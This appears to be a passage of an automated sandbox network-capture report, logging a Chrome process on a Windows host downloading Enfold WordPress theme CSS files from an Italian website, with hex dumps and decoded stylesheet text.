2025-01-09 12:19:11 UTC	1385	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 41 56 49 41 20 50 4c 41 59 45 52 20 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================AVIA PLAYER ========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49716	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:11 UTC	626	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/blog/blog.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:11 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:11 GMT Content-Type: text/css Content-Length: 22078 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:11 UTC	16091	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 23 42 6c 6f 67 20 53 74 79 6c 65 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================#Blog Styles========================================================================================
2025-01-09 12:19:11 UTC	5987	IN	Data Raw: 69 6d 70 6c 65 20 2e 6d 6f 72 65 2d 6c 69 6e 6b 2d 61 72 72 6f 77 3a 61 66 74 65 72 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 36 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 62 6c 6f 67 6c 69 73 74 2d 73 69 6d 70 6c 65 20 2e 72 65 61 64 2d 6d 6f 72 65 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 0a 09 6f 70 61 63 69 74 79 3a 20 31 3b 0a 7d 0a 0a 2e 74 65 6d 70 6c 61 74 65 2d 62 6c 6f 67 20 2e 62 6c 6f 67 6c 69 73 74 2d 73 69 6d 70 6c 65 20 2e 70 6f 73 74 5f 64 65 6c 69 6d 69 74 65 72 7b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 Data Ascii: imple .more-link-arrow:after{font-size: 10px;line-height: 26px;display: block;padding: 0;text-align: center;}.bloglist-simple .read-more-link:hover{opacity: 1;}.template-blog .bloglist-simple .post_delimiter{border-bottom: 1px solid rg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49719	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:11 UTC	638	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/postslider/postslider.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:11 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:11 GMT Content-Type: text/css Content-Length: 3911 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:11 UTC	3911	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 50 6f 73 74 20 53 6c 69 64 65 72 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Post Slider=========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49723	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:12 UTC	632	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons/buttons.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:12 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:12 GMT Content-Type: text/css Content-Length: 4709 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:12 UTC	4709	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 42 75 74 74 6f 6e 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Button==============================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49725	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:12 UTC	636	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttonrow/buttonrow.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:12 UTC	291	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:12 GMT Content-Type: text/css Content-Length: 472 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:12 UTC	472	IN	Data Raw: 2e 61 76 69 61 2d 62 75 74 74 6f 6e 72 6f 77 2d 77 72 61 70 20 3e 20 2e 61 76 69 61 2d 62 75 74 74 6f 6e 7b 0a 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 6f 74 74 6f 6d 3b 0a 7d 0a 0a 2e 61 76 69 61 2d 62 75 74 74 6f 6e 72 6f 77 2d 6c 65 66 74 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 0a 2e 61 76 69 61 2d 62 75 74 74 6f 6e 72 6f 77 2d 72 69 67 68 74 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 3b 0a 7d 0a 0a 2e 61 76 69 61 2d 62 75 74 74 6f 6e 72 6f 77 2d 63 65 6e 74 65 72 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 61 76 69 61 2d 62 75 74 74 6f 6e 72 6f 77 2d 72 69 67 68 74 20 2e 61 76 69 61 2d 62 75 74 74 6f 6e 3a 66 69 72 73 74 Data Ascii: .avia-buttonrow-wrap > .avia-button{ vertical-align: bottom;}.avia-buttonrow-left{ text-align: left;}.avia-buttonrow-right{ text-align: right;}.avia-buttonrow-center{ text-align: center;}.avia-buttonrow-right .avia-button:first

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49726	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:12 UTC	652	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons_fullwidth/buttons_fullwidth.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:12 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:12 GMT Content-Type: text/css Content-Length: 1478 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:12 UTC	1478	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 46 75 6c 6c 77 69 64 74 68 20 42 75 74 74 6f 6e 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Fullwidth Button====================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49724	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:12 UTC	636	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/catalogue/catalogue.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:12 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:12 GMT Content-Type: text/css Content-Length: 1432 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:12 UTC	1432	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 43 61 74 61 6c 6f 67 75 65 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Catalogue===========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49727	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:12 UTC	634	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/comments/comments.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:13 UTC	292	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:12 GMT Content-Type: text/css Content-Length: 5508 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:13 UTC	5508	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 23 43 6f 6d 6d 65 6e 74 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================#Comment============================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49728	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:12 UTC	632	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact/contact.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:13 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:13 GMT Content-Type: text/css Content-Length: 10401 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:13 UTC	10401	IN	Data Raw: 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 43 6f 6e 74 61 63 74 20 46 6f 72 6d 20 64 65 66 61 75 6c 74 73 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Contact Form defaults===============================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49731	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:13 UTC	636	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow.css?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:13 UTC	293	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:13 GMT Content-Type: text/css Content-Length: 11896 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:13 UTC	11896	IN	Data Raw: 0a 2f 2a 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 0a 53 6c 69 64 65 73 68 6f 77 0a 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: /* ======================================================================================================================================================Slideshow==========================================================================================

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
